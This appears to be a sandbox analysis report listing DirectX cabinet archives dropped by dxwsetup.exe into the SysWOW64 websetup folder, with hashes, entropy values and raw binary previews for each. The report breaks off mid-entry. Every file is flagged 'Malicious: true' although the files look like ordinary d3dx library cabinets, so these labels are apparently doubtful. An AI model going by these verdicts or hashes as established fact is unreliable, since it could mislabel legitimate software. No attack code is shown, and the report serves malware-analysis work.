SSDEEP:	3072:SGo145qtWQt9fL4bBHlKqDfaqaGm3+vqm9/Xx0b6POnzED/RIxeqTk0T:SGo145qtbt1LaeB36/xc6PkV
MD5:	681407075E9B19E5EF2218832F6FAD71
SHA1:	E4F4D292A36CD9A3034007EF9D2005694307EB52
SHA-256:	F9BD5BB083BD55D1D2A690BC66D6D9DA0B1A8B49F09E811E788C030669121118
SHA-512:	E983E7DD3F40510816FF3AE836600A186DBA827B484B0C346C20E43E229189A86D4CB5CF219C1FC35B77AB0668866446F6E9206B279931C927D4ED66AD3625F1
Malicious:	true
Preview:	MSCF.....'......D............................'...#.............................5#a .d3dx10_00_x64.cat..)........}5.h .d3dx10.dll......H.....5T_ .infinst.exe......O.....5.` .d3dx10_00_x64.inf......Q.....5.` .dec2006_d3dx10_00_x64.inf......:..[.... .Vm.....%A.P...?..,..".._.R.&.F.J.J.K.^.^...".U.!. ...BvJ...G......(.........C~.b...V...i.Z..O.<.%. .C...@l....a........XBq..Q.]g..2;..+d.[T[.Q..(ji..J...........T%.E.5.o3w.;.x.p.+@...JH...JA%.`.F..^....z..B......D.....S. \.3....."A%'n..h.f%.E.Ue.T..61....i.....m.X.......Wu...pf.a...............G.B...........$..%....R...`K.x....U,/...aH........S..^..2....h.E.6....B.K.A..........4!@7..........2...].}...".2..Z...!V.......-.6..<...{}..............o.~.ST.}.O.H.,....U.N.;..g{j.~a...^..7.n#.......SJ....~3}I9.\s.o....u.c;.../...RT....O~.R......L>C....W...K....P..z..........f%........::...vr.hC.Z.5...75+^...........evQ...8....v..)...W{..O/..<$....t...;. t..,&F.]&@.R..3e._.KZ.....C\|../...^.p&..`\SVd.......ge..E.

C:\Windows\SysWOW64\directx\websetup\Dec2006_d3dx10_00_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 185760 bytes, 4 files, at 0x44 +A "d3dx10_00_x86.cat" +A "d3dx10.dll", flags 0x4, ID 5461, number 1, extra bytes 20 in head, 14 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	194952
Entropy (8bit):	7.9966042762544145
Encrypted:	true
SSDEEP:	3072:x4mJ4SadBGg8IZrdosr2nqOwY7l43gRDlcGgp6VMslgVwxikcBmEi21wx8MqX+dN:xJJ4VWgzZptAqOf6wRD5g0VlgVwxL21I
MD5:	75C33157D8A1B123D01B2EAC91573C98
SHA1:	E3E65896CE0520413979C0143C3AA9BD3A6A27D3
SHA-256:	02DAA8B5AC3752F76C3BFD9A505EBF22B1B4B41E44EB92CE2799033B2330D186
SHA-512:	F0F1F1DEA5938E1C7FF2ADF7C8D421C2E68E6D3A8CDF18D0F2F3FE1C6837A4F37B367D2D974C35832D1D85A619948DD0F250C7D6DC4AE39F618F5A2893EAC7DD
Malicious:	true
Preview:	MSCF............D...............U................#.............................5.a .d3dx10_00_x86.cat...........}5.h .d3dx10.dll............5.` .d3dx10_00_x86.inf............5.` .dec2006_d3dx10_00_x86.inf....9.>..CK..\.K...C..DEA.P.$.......$...%.A.....0 F.Y.s.1#...#..f.......y...}....ZU..jU......SP.=.gB..GQ....>.5.p8.*<%.y3uY.....Xv.....G.S..)/...A.x....@U.GN.....{,.0nI..@.......d.......R..S....s..B.........B...H. ;.. 9..<...nL.5..!..4=.>.o....A..u.i^...dd..x!.....p...@Jn.;H.L...d......&$. ..\|<&/;.O...!.A..%##C.RZ...YG....Z.h..ee........+..D...D&.F.....?.a...Io..hg.5..blP..I.......B....`..,.....u..=A...<.%!.8.,.0....b...v.O..a....#.._J....3o.........F..Z {".t\..H..eo..1h.m.0.a....1....Bc..s.^..V..Bq.x...D(.E....@...&......<._..xv......OB....6L......y.. ....$3.....AB.&.cC8C".p.9.,[..mZ...C+....J.....A.04...rY.....7.y..!^....>j.+yj-#.#...h23.e..)....f....k.:@.-..3...,...O..Vl..#....MIK.Yk@j...^!,96O".....T...\.H,IIL....dfXw.u..e.w.F...C...Y).I\....&.[.4.

C:\Windows\SysWOW64\directx\websetup\Dec2006_d3dx9_32_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 1568416 bytes, 4 files, at 0x44 +A "d3dx9_32_x86.cat" +A "d3dx9_32.dll", flags 0x4, ID 5512, number 1, extra bytes 20 in head, 105 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	1577608
Entropy (8bit):	7.999092247669469
Encrypted:	true
SSDEEP:	49152:VKo9fY3tlVm3JjPueurZ8zQbC88LHhpu97Sm:V13BFurZ8U18uSm
MD5:	A5BEAD938AFDC63ADFECC1DAF5049D7F
SHA1:	B3D5BF56F6B9BF87C33009A088BA7785B6363B4E
SHA-256:	A1CC7603302EE53D54F4353C223D95E223706924D99B864220B13814EF93EEFB
SHA-512:	C9244BBCFE60F347EC8785B1A41B6E243153624EA73B16DB4D624239A69FA76D2DF2E54039D8F4D2C495890AC17B676E390F796118B4E16D9F03683247190362
Malicious:	true
Preview:	MSCF............D................................#..............i..............5.a .d3dx9_32_x86.cat..G4.......}5.h .d3dx9_32.dll......f4....5.` .d3dx9_32_x86.inf.M....i4....5.` .dec2006_d3dx9_32_x86.inf.4.$G.@..CK..\.K..?.........7...a....4.... @..LB. `..b..;......{/.;.g7A......}......uv.3.....9X....:.G...`.eT..p...X,..V..C]c.....3^aV......n..3..N.0K3s..%.eb...e../...7..$.~.e#+...<....=..U...R...<..I8..H.D..L.. 1.!........np..\...a...D.'....@(:./.A..{...H.e...b...4Y.c.<..P...H..............].;gl.$q.........}..%,.g.....X.C...HAUZQ1..C.PM.v.\q...T.0Y.3.a.#.\!...O........A)...K....\....PF.X..te...P...B....).).V.(]Jt...A}.S.t\|1S#z....\}./.....\..............(..0....'}..N.]......y,..~.R....f.P.E.T....d#.k.b..`P.../..0W.K&....!.!........M......EL&..bBA.b....q.H.Q.5..5..u....{.ka.k.s.PA^.e.5....c#......d...2..).V.e....2.^.;.....L.....s.`.iK...Q..N.Q.%.T......k..M...U...d...H.W..f.I......kF;X..;.%..N.....j.....6......L.T.).JU"["..`....1..........D.QO,..

C:\Windows\SysWOW64\directx\websetup\Feb2005_d3dx9_24_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 1007265 bytes, 4 files, at 0x44 +A "d3dx9_24_x86.cat" +A "d3dx9_24.dll", flags 0x4, ID 4987, number 1, extra bytes 20 in head, 69 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	1016433
Entropy (8bit):	7.998972724711677
Encrypted:	true
SSDEEP:	24576:T/HUK+hlSM4jwe8WpmQUrxiUyULWoF/V++TYrjVdLa1:bHURewe8W4VN8uF/VhMr5s1
MD5:	7029866BA46EC477449510BEEE74F473
SHA1:	D2F2C21EAB1C277C930A0D2839903ECC55A9B3E8
SHA-256:	3D4E48874BDDCD739CF79BF2B3FD195D7C3E861F738DC2EAB19F347545F83068
SHA-512:	B8D709775C8D7CA246D0E52FF33017EE9A718B6C97C008181CD0C43DB7E60023D30D2F99A4930EBA124AF2F80452CBF27836D5B87E2968FB0F594ECA1EBF78DD
Malicious:	true
Preview:	MSCF.....^......D...............{............^...#..............E...7.........E2.. .d3dx9_24_x86.cat...!.7.....E2.. .d3dx9_24.dll......."...92.. .d3dx9_24_w9x.inf......."...92.. .d3dx9_24_x86.inf.(~m.?..CK..\.Y..O..........H.$@..(M..X.. R.I...6...#.^.......{w..}&............{.3..gf.e.....0*`..kFm.......i.`p....X..Y-..7]n^..9...e.(.7..^..V.FO+...v.,e.^..l(i~w...M...l...s...z..U.7.c5.b.3..........#1.I.'.F2.C.@.......'Hx /..K.~.`g.).0..".8y....0.8...N.\|..v.u@...P...H.R......c;W....yg..x....s...2..\...}..%21.D..... ...q.....E,.....q.Ee..$...66...pGr}.. +..!&&&PK..f.r...x.'..<.. ....kH..@....~l....\....@fD...+y..:UC.%...zy1.........~j..v..{%..v[S.ZEE...5....i;..1.(...&.x._.......R+[A..l..z(.e. .k..jbf.@.336T.[...'...J/-..uHc.u.....6..U.....).l...&.".9.X..H\.N...d.V.g...^...Jv..PQ~#?....V.......j:..p.....k.R.......0o.~..F..70.).4b7......+.:.&.)Qd(9...i....J35q.....T%..b._....,..........)Qjt.DU.B.R.s..-.`.......4HE...JObJDlG.4x......lb..<..C..sHD.

C:\Windows\SysWOW64\directx\websetup\Feb2006_d3dx9_29_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 1078760 bytes, 5 files, at 0x44 +A "d3dx9_29_x86.cat" +A "d3dx9_29.dll", flags 0x4, ID 6921, number 1, extra bytes 20 in head, 72 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	1087928
Entropy (8bit):	7.99922866964108
Encrypted:	true
SSDEEP:	24576:MWlF24ngnZPhX4ciAwvVHgK6SgHY6OmSfLV+:MWls4gnZTmHx6SgnPCY
MD5:	F6CC1C08D0F569B5F59108D39CE3508B
SHA1:	E9CF7EDC8C9C4B57A9BADD8386A2117EC5785AAB
SHA-256:	4114E76799AF3DA9DB3DAE51305DAD70A05B757E506E4A327092D536CCA7EE75
SHA-512:	86DF72D5B15396ACB504C1AC9DE7FF5C0CC9C95A90FDD82DAEDC55BAAD490CC47A71CB511571D37E25DD9BC1EE9652B9723E33879BC1756A7881A8E61EBC59ED
Malicious:	true
Preview:	MSCF.....u......D............................u...#..............H.............C4.F .d3dx9_29_x86.cat..#.......C4hE .d3dx9_29.dll......#...C4hF .d3dx9_29_w9x.inf.....x.#...C4hF .d3dx9_29_x86.inf.......#...C4iF .feb2006_d3dx9_29_x86.inf.w.6..>..CK..X.[...C.Q...1XQ.N..........T,..D .$....c.]......#..{.z..]..E....}...?......f.=..=.g.....v..]F.Y3j...8...&....V..S=S.f...1]aQ......a...1..Q...V.....m..e........s..m.[c.....yl.{/.^%q.Z.I ..hg..DH..........$..........AB.....!N.w=!F.g. .s.p.B...X...LL..X.c ....z.B...........b.81...>:/b.......511A..[.&.3vo.'.V)..kgjb...\..\|..!(.i..%#...8..9Um..]_.E...c.o.{....\|j..r4..CN..2....K..].t.E..CH.2b}I.A_.D...5s.e....K..&...n.K....a..p.$29...o.HN..[..k...d......1V.....P..9..e.....p9...c=..RQ .7.H61.e ......I~.v.....p}:.1.:r.i....qb..@K.......AM.(.QM....%.p....+.9....~.J~.J~.J~.....-....`.0LLl...3nL.....t.f/...x.9......n....I/!.!V..X........S,OU..`.tt..u$i...]...`.6...o..(..).-..tD.....L.B.S.+c.:.Z.n......od<..

C:\Windows\SysWOW64\directx\websetup\Jun2005_d3dx9_26_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 1058965 bytes, 5 files, at 0x44 +A "d3dx9_26_x86.cat" +A "d3dx9_26.dll", flags 0x4, ID 6937, number 1, extra bytes 20 in head, 71 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	1068133
Entropy (8bit):	7.999040217820951
Encrypted:	true
SSDEEP:	24576:NxFMsUF1MmwONoWu85w6SFBu+vveJ0sut3z2A1s9z/D8gigA:V3dm3NoW+9FBhuJ9ut36A1s9z78giP
MD5:	029359EBCA4BA5945282E0C021B26102
SHA1:	6107919F51E1B952CA600F832A6F86CBBED064B5
SHA-256:	C44EABF5BE3B87CD845950670C27F6A1E5D92B7758BA7C39C7849B1EE1C649C0
SHA-512:	FA007F257F5267119B247EC4ED368E51FD73E6AEA3097E2FC4E78078C063AF34D161FD1BDCAF3097BB575D2614DBA226A624D060009EE4F7BEDA697EFCF42BB7
Malicious:	true
Preview:	MSCF.....(......D............................(...#..............G...7..........2b} .d3dx9_26_x86.cat...#.7......2Z\| .d3dx9_26.dll......,#....2.} .d3dx9_26_w9x.inf......-#....2.} .d3dx9_26_x86.inf......0#....2.} .jun2005_d3dx9_26_x86.inf...N..>..CK..X....'.. ..P.....&!. .%.A........`.....;v..WTd..........w......{.{..<'...3..;}....=Xv3.e.vc:.yg.i.....1.....V.F.:.fMj ,.\|.e.....F..5#?.\|6.M.j[Z..k3.....g.f.B(..=v......a<.7..a.=.:...h.f.X6.."..I..I......Od:.!9......~1.H..q.....'....y..\...E..u.S\|K.a...:c..B..8g:!?._..E:.A.H...N.a..j..~pI.....V.k.l.W.....X..........`4.2(.....e.>...0...!L..>p.....2d..r<...afffPK.6..t0.V.'HA.....j.o...5B+. .....hy...... M..5t...K.<>..@.G........~h..Xw.B.....F~>.?l..7..].}Xp.m.!......x~6.aY_.rmH..sr.."Q..]..d3.{.bXX`P....io...AZ.i..$..1....Gl.....d..AM:6.......p./(..Q.1..1..q....O.c~.c........04...\|s3...}..x..I.r..).m.K1.o#.Q.Fa...X7.baY......G{......Z5S.HU..c.tp.z6.4m.B=P...d.6...g.....W..aM...z...L.R.W%...z.F.n.5....54EG.R

C:\Windows\SysWOW64\directx\websetup\Jun2007_d3dx10_34_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 692512 bytes, 6 files, at 0x44 +A "d3dx10_34_x86.cat" +A "d3dcompiler_34.dll", flags 0x4, ID 9065, number 1, extra bytes 20 in head, 49 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	701680
Entropy (8bit):	7.9989902264021255
Encrypted:	true
SSDEEP:	12288:SuBBWP1krfKO0BZwB6ux8hBXsRbD3RazqgwLdJPMqHy7qdXCyhUW3zE:DBTrZ0BZwV8fXsprRaxsDBHyWdXg5
MD5:	19383CBADA5DF3662303271CC9882314
SHA1:	123C97C33F7EF2BA345B220450F181D440412E6B
SHA-256:	8EC971C91040618338AC2369188F3E5D7C85A5B1E3B9FC8E752DD845D295CDBA
SHA-512:	A4C6ACC9FF656E05D75AE0081C65C200B584209C99FD001494C4D206F2CE8A78D2DD3644E51018574928F3B9E9373BF7EC8C5147A3590B54D1C6D50E61342853
Malicious:	true
Preview:	MSCF.... .......D...............i#.......... ....#..............1....).........6.. .d3dx10_34_x86.cat.p)...).....6.. .d3dcompiler_34.dll.h...2S.....6.. .d3dx10_34.dll.I..........6.. .d3dx10_34_x86.inf.i..........6.. .d3dx10_34_x86_xp.inf.c...L......6.. .jun2007_d3dx10_34_x86.inf.....{5..CK.\|.\|......m:..s66...$.\.-K2...B....-.%..\...zI....-.@...!@..<Z(.@..B..@.?..'.k.......f.67;;;;3..gQi....O.7..F....J.m........".z.=.;9.s.D........P...PV.\.U.D......M...3.{K.k>...[z.u#Q...D,..%.%.$j,@wDT..D..]................8\.S.....X......$....q..pP>.0.8.(q.IQ..;GGq.H.@...z.F...~(...=............W...9....._A.qtt.D:[.......7D...&..N..ee.J....H..LeS,e...CY....K m..9..\....._.e....E..@R..J)p..~e...I......uA..8<>).X.#....P..O.BN...a9#I})RW..J4P./.i.'..v.Po..5.+K...[..+K..2... `]....@............q.($. <B$...8@..b<." ...b.y..,.<..OK.."..t..q...{^..5..l........J.(Q.o.Yn.]z.:x6.T..J.Z..zG........ .W..-..l.....2.\O..f/.......TJ&W"S$.2.@.2.a.....C.......A...{..!.\|. ....UVJ7.#.\T..k..

C:\Windows\SysWOW64\directx\websetup\Jun2007_d3dx9_34_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 1601326 bytes, 5 files, at 0x44 +A "d3dx9_34_x86.cat" +A "d3dx9_34.dll", flags 0x4, ID 7195, number 1, extra bytes 20 in head, 108 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	1610494
Entropy (8bit):	7.999066428256981
Encrypted:	true
SSDEEP:	24576:ZBdkB3TM+mIf4qyM0iJRy3QvQDxPYKhatPJZcg9QwJeYX34eq2F37kRVeLbdiL3q:ZPU3TMXxDVI3vQ2KSBP4YH4aAELbdK3q
MD5:	FE8FEB215FAE59866DCD68C1604D97AA
SHA1:	CEDACA678D15E78AA458B965ABB467E8964A1FAB
SHA-256:	1C1E1C6F68BA556A0AF09A38C32EB421C543A4848C4B42D25867C98DAB3B3A50
SHA-512:	9955336B561E4FD3BA3DA7FC086643E811048A25A7E68344D2CC5CAB091980BAAE1C04CE41328B59C896662E2875886B78EC869852B2D1DAAA46AF38C894A3F2
Malicious:	true
Preview:	MSCF.....o......D............................o...#..............l....(.........6.. .d3dx9_34_x86.cat.h_5..(.....6.. .d3dx9_34.dll.......5....6.. .d3dx9_34_x86.inf.,.....5....6.. .d3dx9_34_x86_xp.inf.\...7.5....6.. .jun2007_d3dx9_34_x86.inf.A.".l>..CK..\...;T.D...1.(.`...2CH..........`.UD.....b.;va.;6...w.{.f.l..9.....w?..=k....=.;..........Zh.....<m--.....^..:.z.#_g.~.>.Z.Z..C..\|...5..J.P..JKK.(.0...>+.G..~.hy{c....b2.,..!..?E.&.j.1.u.=.1.B...q...p..>...q.Y....x..\6.uB......>........A..A.f.1..{v.Z...F.F.\|:.[.Z!..@$.IA.H""ET.J.c.........d..G.....\...xco.#.G......`k?d..E..s...B,........O.0(?..r.......TD..y.W..FkkkC+i...&..!@... ..xP_>(#!...b.O.>,P.8d......lM>..R-t...[.lm2.WS\|.u..._.K/.3.3.~.1a....+....q....o.M.O>o..Y...O/..B.y_...V..5..5..$#~.+.H..5.B.tu...../.......\|.[.(5q.YT5...II..@K._.d0.@M (.U.p...J.!Q_....5.....O....?].k.)..3.u.an}.....6A. .]].....rg....Z.0...}...u.....P$geq..]t/......e.JE."VE.(...LhNu..(...L!g.0...:m:...V(T4~.^...2...y

C:\Windows\SysWOW64\directx\websetup\Jun2008_d3dx10_38_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 843959 bytes, 6 files, at 0x44 "d3dx10_38.dll" "D3DCompiler_38.dll", flags 0x4, ID 8962, number 1, extra bytes 20 in head, 61 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	853127
Entropy (8bit):	7.998980130768887
Encrypted:	true
SSDEEP:	24576:IKcIh4DqtGLRndZKm4zZTQb4BJ+gfG07QyGeZH:IKc64DgG9dIZTQb4L+GGIGeZH
MD5:	B0E2B612DAF28B145B197A4DB0A9B721
SHA1:	F69266E4AF3D2DE31A2A2E416F10B0F44737739A
SHA-256:	E8DC1063C9434EED8D633741B19CDFA1889581041E2214B87B5159E3EA087F3C
SHA-512:	6E31F18CB75CE69D291D0ABD15EDADF02C0693033351DFB2F435312A47540AA223C8176209725C14A05FA6494153A3E191B2FB7CB8C5CEE11FB42371CE67392B
Malicious:	true
Preview:	MSCF............D................#...............#..............=....$.........8wq..d3dx10_38.dll......$.....8wq..D3DCompiler_38.dll.f(..(......8.r..d3dx10_38_x86.cat.I..........8.r..d3dx10_38_x86.inf.i..........8.r..d3dx10_38_x86_xp.inf.c...@......8.r..Jun2008_d3dx10_38_x86.inf...E7%,..CK..\.....\./BS3...$.......p.&..x"........h....J.,5.,._.e....y..-y...#.......YXPP+..y.......y....o*.&..........\....i...YQcs..u.77K.8..h......h..]L...y6.bc..S.\.Y..]..aM.iyo.Xr..2....w...^V.Y.v)..s..w..;..z...........S..WY.b...!....q..W............y.~.x...P..!z.S.....2..{W.x.tJ.....Y....'o5"dE...(...\|o.U'.tpJ....8..4.j.vT.+TrVWy.`.P..{![...O.<.!...F...V.........C.k.E.h._..AM..+...E.jG.U.R.F:.].E...Xvw.?....'..,....................A-p...l.[.J....4.. .$.,...`2X.W.c..=Y.>........i.....A-p.?.....`.8..qp.`...A.....P_1.....? ]O....A?P.&........%..c. ..v...,h.=...AK0........k......d..... ....A{....... .\|o......&..\|......0........d.....[m......X...%C.D.2X.....'&.4..@o......98.~..c

C:\Windows\SysWOW64\directx\websetup\Jun2008_d3dx9_38_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 1457918 bytes, 5 files, at 0x44 "d3dx9_38.dll" "d3dx9_38_x86.cat", flags 0x4, ID 7184, number 1, extra bytes 20 in head, 118 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	1467086
Entropy (8bit):	7.999726422350297
Encrypted:	true
SSDEEP:	24576:HGIly6o6H1kEznWRpKpx5A0SBF/VnjmkC8nAMzh08qF4QH5/RSzsExkqv4Q9hHi0:Hh46Tn/UXVjmiJlO4sVRSzdk5uhCbOka
MD5:	E2FB2E37C342983493C776BD81943978
SHA1:	2A8F3C45CF979966D4D4D42A4D34F05C72C7E29E
SHA-256:	57E57A6348E55AAACA6BED5E27BBDD0A4BD0DDE69C77F4D26C805BE6384BE927
SHA-512:	2D297F607C5A098A3D2B19E7F88AA12F720AF3C23FE6DDCE7D4659A9184D1CF8F8A76F35B8ACB639B48CDAD8998C919215A03B89207E2BB1829EA3D8A9EFB95A
Malicious:	true
Preview:	MSCF.....>......D............................>...#..............v.....:........8wq..d3dx9_38.dll.<'....:....8.r..d3dx9_38_x86.cat.....D.:....8.r..d3dx9_38_x86.inf.,...O.:....8.r..d3dx9_38_x86_xp.inf.\...{.:....8.r..Jun2008_d3dx9_38_x86.inf. .,:..[.... .,......$Q.f...<....B..W...WWRT%.,..6mZ....k.!H}_.aAkk..C..............Z...1.5.!....S.-.Uy....# ...g....3...q.u.N..Nz.2Zq..D..+r."S9..ZT$.QD...UM..4......P....@...f.h...}..l7.{l.e7..#.b.$_...Q_...#......CC@)@......@......1...`....D.$m....wgg...B...n..E..{x,u.{.VK.;:.7.M$IO3v.u..v.p.%...N.X/.:Q..E...(/n..%Y...."..X.)}U.5...9F\.C>.....9..L.1.T.....4I.$R...5.L'.e.H.`.....H.._....9...XQS....r..>H.Gw..I.}.I...S.M.#Q....a[.....C.o...HR6\|..#....Ccu.^....=...f.N..LH.nMzk.k.....k..V..S..^.^,BdOQ.E..^.q..y.z.A{x..g8....i.....l.....f...a,..\xzC...r.@...C~....\.....!8..)....ZU ..%.e.xG..<.i.....yVH.AA......M.F....Ph..,.Uap.....9...-...v.V.... \|..*......X...6....P...,.K.O.Qe...).]`..C..............,..+.q.........w...

C:\Windows\SysWOW64\directx\websetup\Mar2008_d3dx10_37_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 812300 bytes, 6 files, at 0x44 "d3dx10_37.dll" "D3DCompiler_37.dll", flags 0x4, ID 8943, number 1, extra bytes 20 in head, 58 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	821468
Entropy (8bit):	7.9989494569533655
Encrypted:	true
SSDEEP:	12288:k8Yjgk28yEYvDLX3XmZcLHo9yLvTJqnrT+LprnNjjjGM6pdKi814DYnciABrI55V:1Yjp/yEcfLI9y4rORNYdKibxBrIS6
MD5:	8234B9B90BCBB5077E1B5FAA0B66D1A9
SHA1:	E9207C572FDEC592B7C17A7F9C6F875C8A55B1F0
SHA-256:	6A2727269E6CAC7C4D2E316333D29BAC0DC1CD7F51C36C0C08B0388203DEDAD2
SHA-512:	74C94A6E092D7C828FC1E3FAEE4B21917AFC3CACEC04F260754190D0533F93A58289763AC620E5A577F7865902023B30548CDA4D9E968C90EE13050AD6D1E8C5
Malicious:	true
Preview:	MSCF.....e......D................"...........e...#..............:.............E8...d3dx10_37.dll...........e8....D3DCompiler_37.dll.f(..(.....e8K...d3dx10_37_x86.cat.I.........e8....d3dx10_37_x86.inf.i.........e8....d3dx10_37_x86_xp.inf.c...@.....e8....Mar2008_d3dx10_37_x86.inf...-..,..CK..\TU........[fz.,P..0}Q.a.L...T..`.f.;........i..io{n....ej.i.Yb........;w....r.....s...9.<g.%f.4.F.q...F."_zr.........6.4}..I.8.;o..9L..j.9.43..Z.....M`rl&..A.....n.b..Q.....;..).).MK{J...!...1..T'....:..&...,*O.k\.!}4.d.vH/5.0.....x-!.....{.c..@......Dm53SG.W..A..5..MK..P.?ZK64'd..%.4p......'..v.a-..3!...iYM...Jc.B.i..^.4.;.....b....:..i..'Ui{2.$m.t(w..w...Km..ZrM:..7g.p.w.m$..k..`..n..7JK.`...%..O..d..`....@2h.j.s.ZR.V....?..p-i.:../...@.X.&..:RK..y`"p.. ...a..\.@Y..l...<0.lB\|6.d...Ac..N..=`.(..@.._.....)...`(....\..\|....@.~i..-....z}.........]..'.........<0...d...A.h......e..@...6....,.....D0..A....A8...@K.a..6/.\.&t.$/.V.I.....f.".....t.$.....H..X.6....$

C:\Windows\SysWOW64\directx\websetup\Mar2008_d3dx9_37_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 1437322 bytes, 5 files, at 0x44 "d3dx9_37.dll" "d3dx9_37_x86.cat", flags 0x4, ID 7166, number 1, extra bytes 20 in head, 116 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	1446490
Entropy (8bit):	7.99972380205062
Encrypted:	true
SSDEEP:	24576:vFs/gTzoeHhwLMLDjl5XbCzgxt0Q98wWz35UM0vE03yYCmPI7ik:veKTHhbLDbDP0Q5UUtBC2PAz
MD5:	8ED75E3205C2B989FF2B5A7D2F0BA2DF
SHA1:	88846203588464C0BA19907C126C72F7D683B793
SHA-256:	91A50D9EFCDFBCDF22A91D6FBB0F50D3C2AA75F926D05CC166020BF7AAF30E28
SHA-512:	D0CF0E3AAD9C8C43A927D1BBBD253B9FE4C97B638AD9A56F671EBEDA68FC9BC17CC980D93095FBB248DD61DC11B7E46C22D72CEE848B150F7A13EAD9E08A7891
Malicious:	true
Preview:	MSCF............D................................#..............t.....9.......e8....d3dx9_37.dll.<'....9...e8I...d3dx9_37_x86.cat.....D.9...e8....d3dx9_37_x86.inf.,...O.9...e8....d3dx9_37_x86_xp.inf.\...{.9...e8....Mar2008_d3dx9_37_x86.inf..$.0:..[.... 92......$Q.f...>J...h.].W...uWL.I...W]J.X..V..{..Z........X.G{<..033.4..P..........ek \|.b./..gFB'S...K.....fe.5.u..T<{..H....XG84QbDR.8X.Hf.H..46...H"0 ..HH.S.............(_ ..w...H.....Q..P..vT.t@.G+...1...YH... V..Y4H..P..1R$l/..20!ls'...;....;..kmttyu...x.s....q.....q$.C..5k....(....B.r..y..<.6...Fz..hn..-.....Q.3Z...@.1.V..S?...a\|....(6.......D. ....)Ej....GJ%.5 ........G.w>......p...i}..<.\|..b.&!..7E.yU.O-.D......O.UC..yIA.Aj.._..D...VOc....{.f]J.<...r.)o.\|-...>.PWF.....;.;..vb....4..QV'f.$......:S.hi...~...}3k......\...}a.......L5..e....\|.....1..n...T...t......[....Z.].e....d.A......'..\|.V.2.\|Ax..W..........B.>...x.. ..\|.`...L.h..H.i.....@-.aa...7...K ...../..l.x....r...0>x..@/X...W..L..

C:\Windows\SysWOW64\directx\websetup\Mar2009_d3dx10_41_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 1034785 bytes, 6 files, at 0x44 "d3dx10_41.dll" "D3DCompiler_41.dll", flags 0x4, ID 8914, number 1, extra bytes 20 in head, 71 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	1043953
Entropy (8bit):	7.998757160305283
Encrypted:	true
SSDEEP:	24576:JAEjuCeK6JgAkPBJoBgsqDP8FbGACV0L/sW0G+vv2:JFuCeVJqyxqDUFb9CV8r
MD5:	45E83CBA5710A1DE7D3990A288122E85
SHA1:	23C4BFBDDCFB11ACB7C47C409825F039AF7EB908
SHA-256:	B7DA29103CDF374DE0C09713CB985035EAC45FB8B394D3B8157D8A7562A89899
SHA-512:	8C56D376D349AA00948E1F3C6168DADE76AC9A26ADE1AAC5A385DCF0253602F5A2973483D083425195DB6AD7717494FD3CF674F5549774AC608CEFA2A88BF0A7
Malicious:	true
Preview:	MSCF....!.......D................"..........!....#..............G...P.........i:k{..d3dx10_41.dll.h-..P.....i:k{..D3DCompiler_41.dll.......#...p:.r..d3dx10_41_x86.cat.I...a4#...p:.r..d3dx10_41_x86.inf.i....7#...p:.r..d3dx10_41_x86_xp.inf.c....:#...p:.r..Mar2009_d3dx10_41_x86.inf.Nn.>.0..CK.wT.I..{.G.C.QQ.#(I.T`..Q.........0.b..5`Xs..bD.@..f1.9..x....Yw..{...s..U...[.kjj.....h3...TV2.nFx92?~=....m.l.[n.[..(81)]..R&..Sd...J.,F!Se..Re..A..e..~}..b.e[.fd.np.+..[......R;.z.....v....N.~...ibx.h.S.....W...7..-.a.8...`...$u..A.0K....j1..g..A.^k1...Pj.]bm.ym..~t...+d..`..LG}..X...#.J.....;'e.Z.-.2..m.0....[W..#......j.05.Z.R.!..:.jd..e.........O..7:...\....k..bY...s4W).. ..%.......:g............p..Z...... ..<5.2..].... ..X.,..!~.0...v..k.c.1.2..V.10.L.#.R.x.=.S.9.....27.S@.....d. .p.l.d......}.\...;.e./.0 ...&.~...8.\...:.L;.'....R..."`;p.....>...........BhW6.I&..D.!.3`...M...>u.....S.A......E@...0.P..@8....v.9....X@..."e....'..`c...(...^..R.'p...4....{ ...f...2....h

C:\Windows\SysWOW64\directx\websetup\Mar2009_d3dx9_41_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 1606486 bytes, 5 files, at 0x44 "d3dx9_41.dll" "d3dx9_41_x86.cat", flags 0x4, ID 7142, number 1, extra bytes 20 in head, 128 datablocks, 0x1503 compression
Category:	dropped
